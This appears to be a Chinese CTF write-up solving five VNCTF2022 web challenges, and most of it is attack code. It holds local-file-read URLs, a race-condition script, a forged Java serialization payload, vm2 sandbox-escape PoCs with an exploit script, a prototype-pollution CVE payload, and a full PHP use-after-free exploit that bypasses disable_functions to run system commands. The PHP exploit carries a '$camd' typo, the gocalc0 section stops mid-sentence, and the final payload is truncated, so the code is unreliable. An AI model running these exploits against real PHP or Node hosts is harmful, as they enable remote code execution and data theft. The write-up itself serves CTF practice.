web

文章目录

  • web
    • GameV4.0
    • gocalc0
    • easyJ4va
      • 信息收集
      • 获取key
      • 反序列化
    • newcalc0
      • 非预期
    • PoC 1
    • PoC 2
      • 预期解
    • InterestingPHP
      • 解法一
      • 解法二

GameV4.0

前端小游戏题,直接想到查看js源代码

在data.js文件中搜索到了关键词flag,且后面附着着一个base64编码的字符串,解码试试

得到flag,再将其url解码一下就行

VNCTF{Welcome_to_VNCTF2022}

gocalc0

go语言的ssti,传入{{.}}指向当前的类,类似于this,然后输出源代码

import (_ "embed""fmt""os""reflect""strings""text/template""github.com/gin-contrib/sessions""github.com/gin-contrib/sessions/cookie""github.com/gin-gonic/gin""github.com/maja42/goval"
)//go:embed template/index.html
var tpl string//go:embed main.go
var source stringtype Eval struct {E string `json:"e" form:"e" binding:"required"`
}func (e Eval) Result() (string, error) {eval := goval.NewEvaluator()result, err := eval.Evaluate(e.E, nil, nil)if err != nil {return "", err}t := reflect.ValueOf(result).Type().Kind()if t == reflect.Int {return fmt.Sprintf("%d", result.(int)), nil} else if t == reflect.String {return result.(string), nil} else {return "", fmt.Errorf("not valid type")}
}func (e Eval) String() string {res, err := e.Result()if err != nil {fmt.Println(err)res = "invalid"}return fmt.Sprintf("%s = %s", e.E, res)
}func render(c *gin.Context) {session := sessions.Default(c)var his stringif session.Get("history") == nil {his = ""} else {his = session.Get("history").(string)}fmt.Println(strings.ReplaceAll(tpl, "{{result}}", his))t, err := template.New("index").Parse(strings.ReplaceAll(tpl, "{{result}}", his))if err != nil {fmt.Println(err)c.String(500, "internal error")return}if err := t.Execute(c.Writer, map[string]string{"s0uR3e": source,}); err != nil {fmt.Println(err)}
}func main() {port := os.Getenv("PORT")if port == "" {port = "8080"}r := gin.Default()store := cookie.NewStore([]byte("woW_you-g0t_sourcE_co6e"))r.Use(sessions.Sessions("session", store))r.GET("/", func(c *gin.Context) {render(c)})r.GET("/flag", func(c *gin.Context) {session := sessions.Default(c)session.Set("FLAG", os.Getenv("FLAG"))session.Save()c.String(200, "flag is in your session")})r.POST("/", func(c *gin.Context) {session := sessions.Default(c)var his stringif session.Get("history") == nil {his = ""} else {his = session.Get("history").(string)}eval := Eval{}if err := c.ShouldBind(&eval); err == nil {his = his + eval.String() + "<br/>"}session.Set("history", his)session.Save()render(c)})r.Run(fmt.Sprintf(":%s", port))
}
] = invalid
package mainimport (_ "embed""fmt""os""github.com/gin-contrib/sessions""github.com/gin-contrib/sessions/cookie""github.com/gin-gonic/gin"
)func main() {port := os.Getenv("PORT")if port == "" {port = "8088"}r := gin.Default()store := cookie.NewStore([]byte("woW_you-g0t_sourcE_co6e"))r.Use(sessions.Sessions("session", store))r.GET("/flag", func(c *gin.Context) {session := sessions.Default(c)c.String(200, session.Get("FLAG").(string))})r.Run(fmt.Sprintf(":%s", port))
}

go语言还不是很看得懂,但是大概能够才出来,将解析flag的关键代码带出来放在本地,然后将在题目环境里面的得到的flag让在本地进行解析,也就是

easyJ4va

信息收集

打开提示file?

这里又说了输入一个url

后面发现是使用file协议

然后就是查看java字节码文件的目录

file?url=file:///usr/local/tomcat/webapps/ROOT/WEB-INF
这里官方给了另外一个协议netdoc,跟file用法是一样的,但是这个netdoc协议在jdk9以后就不能用了
file?url=netdoc:///usr/local/tomcat/webapps/ROOT/WEB-INF

以下为读文件的payload

file?url=netdoc:///usr/local/tomcat/webapps/ROOT/WEB-INF/classes
controller
entityUser.class
servletFileServlet.classHelloWorldServlet.class
utilSecr3t.classSerAndDe.classUrlUtil.class
file?url=file:///usr/local/tomcat/webapps/ROOT/WEB-INF/classes/servlet/FileServlet.class
file?url=netdoc:///usr/local/tomcat/webapps/ROOT/WEB-INF/classes/servlet/HelloWorldServlet.class

使用jadx反编译

HelloWorldServlet.classpackage servlet;import entity.User;
import java.io.IOException;
import java.util.Base64;
import javax.servlet.ServletException;
import javax.servlet.ServletOutputStream;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import util.Secr3t;
import util.SerAndDe;@WebServlet(name = "HelloServlet", urlPatterns = {"/evi1"})
public class HelloWorldServlet extends HttpServlet {private volatile String age = "666";private volatile String height = "180";private volatile String name = "m4n_q1u_666";User user;public void init() throws ServletException {this.user = new User(this.name, this.age, this.height);}/* access modifiers changed from: protected */public void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {String reqName = req.getParameter("name");if (reqName != null) {this.name = reqName;}if (Secr3t.check(this.name)) {Response(resp, "no vnctf2022!");} else if (Secr3t.check(this.name)) {Response(resp, "The Key is " + Secr3t.getKey());}}/* access modifiers changed from: protected */public void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {String key = req.getParameter("key");String text = req.getParameter("base64");if (!Secr3t.getKey().equals(key) || text == null) {Response(resp, "KeyError");return;}if (this.user.equals((User) SerAndDe.deserialize(Base64.getDecoder().decode(text)))) {Response(resp, "Deserialize…… Flag is " + Secr3t.getFlag().toString());}}private void Response(HttpServletResponse resp, String outStr) throws IOException {ServletOutputStream out = resp.getOutputStream();out.write(outStr.getBytes());out.flush();out.close();}
}

也可以用IDEA反编译

主要看hello那里

可以看到要拿到flag,必须要满足这两个if条件,一个是要传入密钥key,一个是反序列化一个一样的user对象

protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {String key = req.getParameter("key");String text = req.getParameter("base64");if (Secr3t.getKey().equals(key) && text != null) {Decoder decoder = Base64.getDecoder();byte[] textByte = decoder.decode(text);User u = (User)SerAndDe.deserialize(textByte);if (this.user.equals(u)) {this.Response(resp, "Deserialize…… Flag is " + Secr3t.getFlag().toString());}} else {this.Response(resp, "KeyError");}}

所以后面就要就要完成两步,一是拿到密钥key,而是反序列化

获取key

首先我们跟进一下Secr3t类看一看

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//package util;import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import org.apache.commons.lang3.RandomStringUtils;public class Secr3t {private static final String Key = RandomStringUtils.randomAlphanumeric(32);private static StringBuffer Flag;private Secr3t() {}public static String getKey() {return Key;}public static StringBuffer getFlag() {Flag = new StringBuffer();InputStream in = null;try {in = Runtime.getRuntime().exec("/readflag").getInputStream();} catch (IOException var12) {var12.printStackTrace();}BufferedReader read = new BufferedReader(new InputStreamReader(in));try {String line = null;while((line = read.readLine()) != null) {Flag.append(line + "\n");}} catch (IOException var13) {var13.printStackTrace();} finally {try {in.close();read.close();} catch (IOException var11) {var11.printStackTrace();System.out.println("Secr3t : io exception!");}}return Flag;}public static boolean check(String checkStr) {return "vnctf2022".equals(checkStr);}
}

然后看到doGet那里可以获取key

protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {String reqName = req.getParameter("name");if (reqName != null) {this.name = reqName;}if (Secr3t.check(this.name)) {this.Response(resp, "no vnctf2022!");} else {if (Secr3t.check(this.name)) {this.Response(resp, "The Key is " + Secr3t.getKey());}}
}

跟进Secr3t.check

就是一个比较传入的参数为不为vnctf2022

然后回到doGet这里,我们要获取key,就要绕过第一个if,即this.name先不为vnctf2022,然后再下一个if下又为vnctf2022,这里就接触到一个线程安全的漏洞,就是servlet在收到请求的时候不会每次请求都实例化一个对象,这样太消耗资源了,所以servlet处理请求时是在第一次实例化一个类,当后面再次请求的时候会使用之前实例化的那个对象,也就是说相当于多个人同时操作一个对象,我们再看一下这个deGet函数

它判断的是实例化对象的属性,也就是说只要我们在进入第一个if的时候,用另外一个线程让它的name属性不为vnctf2022,然后当进入第二个线程的时候,在操作它变成vnctf2022,那不就进入了第二个if条件内吗,所以就措一个多线程脚本

import time
import requests
from threading import Threadurl = 'http://d7546473-9645-4fac-af9d-d0eebea2d5cc.node4.buuoj.cn:81/evi1'
payload1 = "?name=vnctf2022"
payload2 = "?name=pysnow"
ses = requests.session()def get(session, payload):while True:res = session.get(url=url+payload)print(url+payload)print(res.text)if "key" in res.text:print(res.text)time.sleep(0.1)if __name__ == '__main__':for i in range(2):Thread(target=get, args=(ses, payload1,)).start()for j in range(2):Thread(target=get, args=(ses, payload2,)).start()

这里注意一个点,就是不要跑得太快了,BUU上的环境你跑考了它就会给你报429,后面就相当于没有传进去参数,我这里是只开了四个线程,两个判断正确的线程,两个判断错误的线程,再加上一个时间延时

最后拿到key

fpXvAgpKpgl8v0eRYpUBPkleBqqhRBRY

反序列化

然后继续看到doPost这里

这里就是将传入的text参数进行base64解码并转化为字节溜形式,然后传入SerAndDe.deserialize()方法进行处理,看这个名字猜测这个SerAndDe.deserialize的作用就是反序列化,这里可以不用去审这个方法,可以先试着直接反序列化,等不成功的时候再去审代码,或者说直接使用SerAndDe.serialize()方法

然后就是写payload了,将User和SerAndDe的源码分别提取出来,然后再另外写一个类去导入它们,就行了

import entity.User;
import java.util.Base64;
import util.SerAndDe;public class testSerializable
{public static void main(String[] args){User user = new User("m4n_q1u_666","666","180");Base64.Encoder  encoder = Base64.getEncoder();byte[] textByte = SerAndDe.serialize(user);String text = encoder.encodeToString(textByte);System.out.println(text);}
}

然后执行

发现并打不通,看了一下wp发现,这个height属性加了transient修饰,不能直接反序列化

可以用题目给的代码看一下反序列化出的结果

String text1="rO0ABXNyAAtlbnRpdHkuVXNlcm1aqowD0DcIAgACTAADYWdldAASTGphdmEvbGFuZy9TdHJpbmc7TAAEbmFtZXEAfgABeHB0AAM2NjZ0AAttNG5fcTF1XzY2Ng==";Base64.Decoder decoder = Base64.getDecoder();byte[] textByte1 = decoder.decode(text1);User u = (User)SerAndDe.deserialize(textByte1);System.out.println(u);

发现反序列化的结果为null

所以我们就要考虑怎么绕过这个transient修饰

这里可以直接参照https://blog.csdn.net/u010156024/article/details/48345257,重写一下writeObject方法

private void writeObject(ObjectOutputStream s) throws IOException{s.defaultWriteObject();s.writeObject(this.height);}

newcalc0

非预期

一道nodejs的题,给出了源码

const express = require("express");
const path = require("path");
const vm2 = require("vm2");const app = express();
app.use(express.urlencoded({ extended: true }));
app.use(express.json());app.use(express.static("static"));const vm = new vm2.NodeVM();app.use("/eval", (req, res) => {const e = req.body.e;if (!e) {res.send("wrong?");return;}try {res.send(vm.run("module.exports="+e)?.toString() ?? "no");} catch (e) {console.log(e)res.send("wrong?");}
});app.use("/flag", (req, res) => {if(Object.keys(Object.prototype).length > 0) {Object.keys(Object.prototype).forEach(k => delete Object.prototype[k]);res.send(process.env.FLAG);} else {res.send(Object.keys(Object.prototype));}
})app.use("/source", (req, res) => {let p = req.query.path || "/src/index.js";p = path.join(path.resolve("."), path.resolve(p));console.log(p);res.sendFile(p);
});app.use((err, req, res, next) => {console.log(err)res.redirect("index.html");
});app.listen(process.env.PORT || 8888);

简单的审一下源码,可以发现这里有三个路由

eval: 用于执行代码,但是是在vm2虚拟机中执行的,所以就要考虑怎么绕过这个虚拟机

flag: 用于输出flag,但是要满足条件,这里马上反应到原型链污染

source: 用于查看源码,而且这里也可以通过传入path参数,来查看文件

这里给出了提示package.json,应该就是叫我们查看package.json文件,那么我们首先访问一下

/source?path=/package.json

{"name": "name","version": "0.1.1","description": "Description","private": true,"main": "src/index.js","scripts": {"start:single": "node src/index.js","start": "pm2 start src/index.js -i 1","log": "pm2 logs -f"},"dependencies": {"express": "^4.17.1","pm2": "^4.5.6","vm2": "^3.9.5"},"devDependencies": {"@types/express": "^4.17.8","@types/node": "^14.10.1","prettier": "^2.0.5"}
}

这里主要看一下依赖那一栏,vm2使用的版本,然后找一下有没有相关的去绕过vm2^3.9.5的漏洞

https://security.snyk.io/vuln/SNYK-JS-VM2-2309905

PoC 1

// tested on Node.js 16.10.0
const {VM} = require('vm2');vmInstance = new VM();    console.log(vmInstance.run(`function foo(ref) {new Error().stack;
}
let obj = {};
Object.defineProperty(Object.prototype, 0, {set: function () {                        foo(this);try {      obj[0] = 0;} catch (e) {e.__proto__.__proto__.__proto__.polluted = 'success';            }}
})`));
console.log(polluted);

PoC 2

// tested with Node.js 17.1.0 and latest vm2 version
// generated from "/home/cris/work/js-isolation/analysis/Dataset/1V8/regress/regress-672041.js", partially with the support of the generator
const {VM} = require('vm2');vmInstance = new VM();    vmInstance.run(`function getRootPrototype(obj) {        while (obj.__proto__) {obj = obj.__proto__;}return obj;
}
function stack(ref, cb) {let stack = new Error().stack;stack.match(/checkReferenceRecursive/g);
}
try {            global.temp0 = RegExp.prototype.__defineGetter__('global', () => {    getRootPrototype(this);                stack(this);        return true;}), function functionInvocationAnalysis(r) {        stack(r);}(temp0), global.temp0;RegExp.prototype.exec = function (str) {        stack(arguments);        };
} catch (e) {    // payloadgetRootPrototype(e).polluted = "success";
}`);

由上图可知,要满足Object.keys(Object.prototype).length > 0,就可以改变Object.prototype的值,根据js原生链调用的关系,就可以直接写出payload如下

getRootPrototype(e).prototype=[1,2,3];

然后使用

module.exports=Object.keys(Object.prototype);
查看注入是否成功

最后写出exp如下

import requestsurl = 'http://179ed22a-d122-499f-87b6-a0dbda4d03ee.node4.buuoj.cn:81/eval'
data = {"e": '''1;function getRootPrototype(obj) {        while (obj.__proto__) {obj = obj.__proto__;}return obj;
}
function stack(ref, cb) {let stack = new Error().stack;stack.match(/checkReferenceRecursive/g);
}
try {            global.temp0 = RegExp.prototype.__defineGetter__('global', () => {    getRootPrototype(this);                stack(this);        return true;}), function functionInvocationAnalysis(r) {        stack(r);}(temp0), global.temp0;RegExp.prototype.exec = function (str) {        stack(arguments);        };
} catch (e) {    getRootPrototype(e).as=[1,2,3];module.exports=Object.keys(Object.prototype);
}
'''}
while True:res = requests.post(url=url, data=data)print(res.text)

预期解

https://nodejs.org/zh-cn/blog/vulnerability/jan-2022-security-releases/

CVE直接打

发现可以影响非常小,但是这道题足够了

console.table([{a:1}],['__proto__'])

InterestingPHP

打开就是一个RCE点

过滤了phpinfo,猜测应该是在设置里禁用了很多函数的那种题

array(3) {["global_value"]=>string(816) "include,include_once,require,require_once,stream_get_contents,fwrite,readfile,file_get_contents,fread,fgets,fgetss,file,parse_ini_file,show_source,fsockopen,proc_open,ini_set,pfsockopen,ini_alter,ini_get,posix_kill,phpinfo,putenv,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,iconv,system,exec,shell_exec,popen,passthru,symlink,link,syslog,imap_open,dl,mail,stream_socket_client,error_log,debug_backtrace,debug_print_backtrace,gc_collect_cycles,array_merge_recursive,get_cfg_var"["local_value"]=>string(816) "include,include_once,require,require_once,stream_get_contents,fwrite,readfile,file_get_contents,fread,fgets,fgetss,file,parse_ini_file,show_source,fsockopen,proc_open,ini_set,pfsockopen,ini_alter,ini_get,posix_kill,phpinfo,putenv,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,iconv,system,exec,shell_exec,popen,passthru,symlink,link,syslog,imap_open,dl,mail,stream_socket_client,error_log,debug_backtrace,debug_print_backtrace,gc_collect_cycles,array_merge_recursive,get_cfg_var"["access"]=>int(4)
include,include_once,require,require_once,stream_get_contents,fwrite,readfile,file_get_contents,fread,fgets,fgetss,file,parse_ini_file,show_source,fsockopen,proc_open,ini_set,pfsockopen,ini_alter,ini_get,posix_kill,phpinfo,putenv,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,iconv,system,exec,shell_exec,popen,passthru,symlink,link,syslog,imap_open,dl,mail,stream_socket_client,error_log,debug_backtrace,debug_print_backtrace,gc_collect_cycles,array_merge_recursive,get_cfg_var
open_basedir/var/www/html

使用scandir扫描目录,发现了一个secret.rdb,这个是redis的数据文件

然后下面就可以分为几种解法了

解法一

https://github.com/mm0r1/exploits/blob/master/php-filter-bypass/exploit.php

<?php
pwn('uname -a');function pwn($cmd) {define('LOGGING', false);define('CHUNK_DATA_SIZE', 0x60);define('CHUNK_SIZE', ZEND_DEBUG_BUILD ? CHUNK_DATA_SIZE + 0x20 : CHUNK_DATA_SIZE);define('FILTER_SIZE', ZEND_DEBUG_BUILD ? 0x70 : 0x50);define('STRING_SIZE', CHUNK_DATA_SIZE - 0x18 - 1);define('CMD', $camd);for($i = 0; $i < 10; $i++) {$groom[] = Pwn::alloc(STRING_SIZE);}stream_filter_register('pwn_filter', 'Pwn');$fd = fopen('php://memory', 'w');stream_filter_append($fd,'pwn_filter');fwrite($fd, 'x');
}class Helper { public $a, $b, $c; }
class Pwn extends php_user_filter {private $abc, $abc_addr;private $helper, $helper_addr, $helper_off;private $uafp, $hfp;public function filter($in, $out, &$consumed, $closing) {if($closing) return;stream_bucket_make_writeable($in);$this->filtername = Pwn::alloc(STRING_SIZE);fclose($this->stream);$this->go();return PSFS_PASS_ON;}private function go() {$this->abc = &$this->filtername;$this->make_uaf_obj();$this->helper = new Helper;$this->helper->b = function($x) {};$this->helper_addr = $this->str2ptr(CHUNK_SIZE * 2 - 0x18) - CHUNK_SIZE * 2;$this->log("helper @ 0x%x", $this->helper_addr);$this->abc_addr = $this->helper_addr - CHUNK_SIZE;$this->log("abc @ 0x%x", $this->abc_addr);$this->helper_off = $this->helper_addr - $this->abc_addr - 0x18;$helper_handlers = $this->str2ptr(CHUNK_SIZE);$this->log("helper handlers @ 0x%x", $helper_handlers);$this->prepare_leaker();$binary_leak = $this->read($helper_handlers + 8);$this->log("binary leak @ 0x%x", $binary_leak);$this->prepare_cleanup($binary_leak);$closure_addr = $this->str2ptr($this->helper_off + 0x38);$this->log("real closure @ 0x%x", $closure_addr);$closure_ce = $this->read($closure_addr + 0x10);$this->log("closure class_entry @ 0x%x", $closure_ce);$basic_funcs = $this->get_basic_funcs($closure_ce);$this->log("basic_functions @ 0x%x", $basic_funcs);$zif_system = $this->get_system($basic_funcs);$this->log("zif_system @ 0x%x", $zif_system);$fake_closure_off = $this->helper_off + CHUNK_SIZE * 2;for($i = 0; $i < 0x138; $i += 8) {$this->write($fake_closure_off + $i, $this->read($closure_addr + $i));}$this->write($fake_closure_off + 0x38, 1, 4);$handler_offset = PHP_MAJOR_VERSION === 8 ? 0x70 : 0x68;$this->write($fake_closure_off + $handler_offset, $zif_system);$fake_closure_addr = $this->helper_addr + $fake_closure_off - $this->helper_off;$this->write($this->helper_off + 0x38, $fake_closure_addr);$this->log("fake closure @ 0x%x", $fake_closure_addr);$this->cleanup();($this->helper->b)(CMD);}private function make_uaf_obj() {$this->uafp = fopen('php://memory', 'w');fwrite($this->uafp, pack('QQQ', 1, 0, 0xDEADBAADC0DE));for($i = 0; $i < STRING_SIZE; $i++) {fwrite($this->uafp, "\x00");}}private function prepare_leaker() {$str_off = $this->helper_off + CHUNK_SIZE + 8;$this->write($str_off, 2);$this->write($str_off + 0x10, 6);$val_off = $this->helper_off + 0x48;$this->write($val_off, $this->helper_addr + CHUNK_SIZE + 8);$this->write($val_off + 8, 0xA);}private function prepare_cleanup($binary_leak) {$ret_gadget = $binary_leak;do {--$ret_gadget;} while($this->read($ret_gadget, 1) !== 0xC3);$this->log("ret gadget = 0x%x", $ret_gadget);$this->write(0, $this->abc_addr + 0x20 - (PHP_MAJOR_VERSION === 8 ? 0x50 : 0x60));$this->write(8, $ret_gadget);}private function read($addr, $n = 8) {$this->write($this->helper_off + CHUNK_SIZE + 16, $addr - 0x10);$value = strlen($this->helper->c);if($n !== 8) { $value &= (1 << ($n << 3)) - 1; }return $value;}private function write($p, $v, $n = 8) {for($i = 0; $i < $n; $i++) {$this->abc[$p + $i] = chr($v & 0xff);$v >>= 8;}}private function get_basic_funcs($addr) {while(true) {// In rare instances the standard module might lie after the addr we're starting// the search from. This will result in a SIGSGV when the search reaches an unmapped page.// In that case, changing the direction of the search should fix the crash.// $addr += 0x10;$addr -= 0x10;if($this->read($addr, 4) === 0xA8 &&in_array($this->read($addr + 4, 4),[20151012, 20160303, 20170718, 20180731, 20190902, 20200930])) {$module_name_addr = $this->read($addr + 0x20);$module_name = $this->read($module_name_addr);if($module_name === 0x647261646e617473) {$this->log("standard module @ 0x%x", $addr);return $this->read($addr + 0x28);}}}}private function get_system($basic_funcs) {$addr = $basic_funcs;do {$f_entry = $this->read($addr);$f_name = $this->read($f_entry, 6);if($f_name === 0x6d6574737973) {return $this->read($addr + 8);}$addr += 0x20;} while($f_entry !== 0);}private function cleanup() {$this->hfp = fopen('php://memory', 'w');fwrite($this->hfp, pack('QQ', 0, $this->abc_addr));for($i = 0; $i < FILTER_SIZE - 0x10; $i++) {fwrite($this->hfp, "\x00");}}private function str2ptr($p = 0, $n = 8) {$address = 0;for($j = $n - 1; $j >= 0; $j--) {$address <<= 8;$address |= ord($this->abc[$p + $j]);}return $address;}private function ptr2str($ptr, $n = 8) {$out = '';for ($i = 0; $i < $n; $i++) {$out .= chr($ptr & 0xff);$ptr >>= 8;}return $out;}private function log($format, $val = '') {if(LOGGING) {printf("{$format}\n", $val);}}static function alloc($size) {return str_shuffle(str_repeat('A', $size));}
}
?>

使用这个脚本绕过disbale_function,先用脚本检查一下是否有被禁用的函数没有

filter = 'include,include_once,require,require_once,stream_get_contents,fwrite,readfile,file_get_contents,fread,fgets,' \'fgetss,file,parse_ini_file,show_source,fsockopen,proc_open,ini_set,pfsockopen,ini_alter,ini_get,posix_kill,' \'phpinfo,putenv,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,' \'pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,' \'pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,' \'pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,' \'iconv,system,exec,shell_exec,popen,passthru,symlink,link,syslog,imap_open,dl,mail,stream_socket_client,' \'error_log,debug_backtrace,debug_print_backtrace,gc_collect_cycles,array_merge_recursive,get_cfg_var'.split(',')
payload = '''
<?php
pwn('uname -a');function pwn($cmd) {define('LOGGING', false);define('CHUNK_DATA_SIZE', 0x60);define('CHUNK_SIZE', ZEND_DEBUG_BUILD ? CHUNK_DATA_SIZE + 0x20 : CHUNK_DATA_SIZE);define('FILTER_SIZE', ZEND_DEBUG_BUILD ? 0x70 : 0x50);define('STRING_SIZE', CHUNK_DATA_SIZE - 0x18 - 1);define('CMD', $camd);for($i = 0; $i < 10; $i++) {$groom[] = Pwn::alloc(STRING_SIZE);}stream_filter_register('pwn_filter', 'Pwn');$fd = fopen('php://memory', 'w');stream_filter_append($fd,'pwn_filter');fwrite($fd, 'x');
}class Helper { public $a, $b, $c; }
class Pwn extends php_user_filter {private $abc, $abc_addr;private $helper, $helper_addr, $helper_off;private $uafp, $hfp;public function filter($in, $out, &$consumed, $closing) {if($closing) return;stream_bucket_make_writeable($in);$this->filtername = Pwn::alloc(STRING_SIZE);fclose($this->stream);$this->go();return PSFS_PASS_ON;}private function go() {$this->abc = &$this->filtername;$this->make_uaf_obj();$this->helper = new Helper;$this->helper->b = function($x) {};$this->helper_addr = $this->str2ptr(CHUNK_SIZE * 2 - 0x18) - CHUNK_SIZE * 2;$this->log("helper @ 0x%x", $this->helper_addr);$this->abc_addr = $this->helper_addr - CHUNK_SIZE;$this->log("abc @ 0x%x", $this->abc_addr);$this->helper_off = $this->helper_addr - $this->abc_addr - 0x18;$helper_handlers = $this->str2ptr(CHUNK_SIZE);$this->log("helper handlers @ 0x%x", $helper_handlers);$this->prepare_leaker();$binary_leak = $this->read($helper_handlers + 8);$this->log("binary leak @ 0x%x", $binary_leak);$this->prepare_cleanup($binary_leak);$closure_addr = $this->str2ptr($this->helper_off + 0x38);$this->log("real closure @ 0x%x", $closure_addr);$closure_ce = $this->read($closure_addr + 0x10);$this->log("closure class_entry @ 0x%x", $closure_ce);$basic_funcs = $this->get_basic_funcs($closure_ce);$this->log("basic_functions @ 0x%x", $basic_funcs);$zif_system = $this->get_system($basic_funcs);$this->log("zif_system @ 0x%x", $zif_system);$fake_closure_off = $this->helper_off + CHUNK_SIZE * 2;for($i = 0; $i < 0x138; $i += 8) {$this->write($fake_closure_off + $i, $this->read($closure_addr + $i));}$this->write($fake_closure_off + 0x38, 1, 4);$handler_offset = PHP_MAJOR_VERSION === 8 ? 0x70 : 0x68;$this->write($fake_closure_off + $handler_offset, $zif_system);$fake_closure_addr = $this->helper_addr + $fake_closure_off - $this->helper_off;$this->write($this->helper_off + 0x38, $fake_closure_addr);$this->log("fake closure @ 0x%x", $fake_closure_addr);$this->cleanup();($this->helper->b)(CMD);}private function make_uaf_obj() {$this->uafp = fopen('php://memory', 'w');fwrite($this->uafp, pack('QQQ', 1, 0, 0xDEADBAADC0DE));for($i = 0; $i < STRING_SIZE; $i++) {fwrite($this->uafp, "\x00");}}private function prepare_leaker() {$str_off = $this->helper_off + CHUNK_SIZE + 8;$this->write($str_off, 2);$this->write($str_off + 0x10, 6);$val_off = $this->helper_off + 0x48;$this->write($val_off, $this->helper_addr + CHUNK_SIZE + 8);$this->write($val_off + 8, 0xA);}private function prepare_cleanup($binary_leak) {$ret_gadget = $binary_leak;do {--$ret_gadget;} while($this->read($ret_gadget, 1) !== 0xC3);$this->log("ret gadget = 0x%x", $ret_gadget);$this->write(0, $this->abc_addr + 0x20 - (PHP_MAJOR_VERSION === 8 ? 0x50 : 0x60));$this->write(8, $ret_gadget);}private function read($addr, $n = 8) {$this->write($this->helper_off + CHUNK_SIZE + 16, $addr - 0x10);$value = strlen($this->helper->c);if($n !== 8) { $value &= (1 << ($n << 3)) - 1; }return $value;}private function write($p, $v, $n = 8) {for($i = 0; $i < $n; $i++) {$this->abc[$p + $i] = chr($v & 0xff);$v >>= 8;}}private function get_basic_funcs($addr) {while(true) {// In rare instances the standard module might lie after the addr we're starting// the search from. This will result in a SIGSGV when the search reaches an unmapped page.// In that case, changing the direction of the search should fix the crash.// $addr += 0x10;$addr -= 0x10;if($this->read($addr, 4) === 0xA8 &&in_array($this->read($addr + 4, 4),[20151012, 20160303, 20170718, 20180731, 20190902, 20200930])) {$module_name_addr = $this->read($addr + 0x20);$module_name = $this->read($module_name_addr);if($module_name === 0x647261646e617473) {$this->log("standard module @ 0x%x", $addr);return $this->read($addr + 0x28);}}}}private function get_system($basic_funcs) {$addr = $basic_funcs;do {$f_entry = $this->read($addr);$f_name = $this->read($f_entry, 6);if($f_name === 0x6d6574737973) {return $this->read($addr + 8);}$addr += 0x20;} while($f_entry !== 0);}private function cleanup() {$this->hfp = fopen('php://memory', 'w');fwrite($this->hfp, pack('QQ', 0, $this->abc_addr));for($i = 0; $i < FILTER_SIZE - 0x10; $i++) {fwrite($this->hfp, "\x00");}}private function str2ptr($p = 0, $n = 8) {$address = 0;for($j = $n - 1; $j >= 0; $j--) {$address <<= 8;$address |= ord($this->abc[$p + $j]);}return $address;}private function ptr2str($ptr, $n = 8) {$out = '';for ($i = 0; $i < $n; $i++) {$out .= chr($ptr & 0xff);$ptr >>= 8;}return $out;}private function log($format, $val = '') {if(LOGGING) {printf("{$format}\n", $val);}}static function alloc($size) {return str_shuffle(str_repeat('A', $size));}
}
?>
'''
for i in filter:# print(i)if i in payload:print(i)continue

fwrite可以用fputs代替

最后payload

pwn('whoami');function pwn($cmd) {define('LOGGING', false);define('CHUNK_DATA_SIZE', 0x60);define('CHUNK_SIZE', ZEND_DEBUG_BUILD ? CHUNK_DATA_SIZE + 0x20 : CHUNK_DATA_SIZE);define('FILTER_SIZE', ZEND_DEBUG_BUILD ? 0x70 : 0x50);define('STRING_SIZE', CHUNK_DATA_SIZE - 0x18 - 1);define('CMD', $camd);for($i = 0; $i < 10; $i++) {$groom[] = Pwn::alloc(STRING_SIZE);}stream_filter_register('pwn_filter', 'Pwn');$fd = fopen('php://memory', 'w');stream_filter_append($fd,'pwn_filter');fputs($fd, 'x');
}class Helper { public $a, $b, $c; }
